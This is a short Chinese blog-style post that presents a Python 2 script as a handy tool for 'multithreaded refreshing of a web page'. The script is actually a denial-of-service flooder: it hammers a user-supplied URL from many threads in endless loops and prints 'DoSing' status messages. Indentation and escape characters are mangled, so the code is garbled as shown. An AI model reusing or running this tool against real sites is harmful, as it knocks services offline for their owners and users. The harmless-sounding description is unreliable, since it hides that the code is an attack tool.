把内容过程经常用的内容珍藏起来，如下的内容内容是关于python多线程不断刷新网页的的内容，应该能对大伙有较大好处。

import thread

import urllib2

import sys

import time

def usage():

print 'Usage: python ' + sys.argv[0] + ' <url> <threads>'

sys.exit()

def reloader(numthread):

url = sys.argv[1]

numreloads = 0

while True:

try:

urllib2.urlopen(url)

numreloads = numreloads + 1

except KeyboardInterrupt:

sys.exit('nProcess aborted.')

def splash():

if len(sys.argv) < 3:

usage()

if __name__ == '__main__':

splash()

print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.'

for reloadspawn in range(0, int(sys.argv[2])):

thread.start_new_thread(reloader, (reloadspawn,))

sys.stdout.write('')

dosind = ['-', '\', '|', '/']

dosstat = 0

while True:

try:

sys.stdout.write('r' + dosind[dosstat % 4] + ' DoSing...')

sys.stdout.flush()

dosstat = dosstat + 1

time.sleep(0.25)

except KeyboardInterrupt:

sys.exit('nProcess aborted.')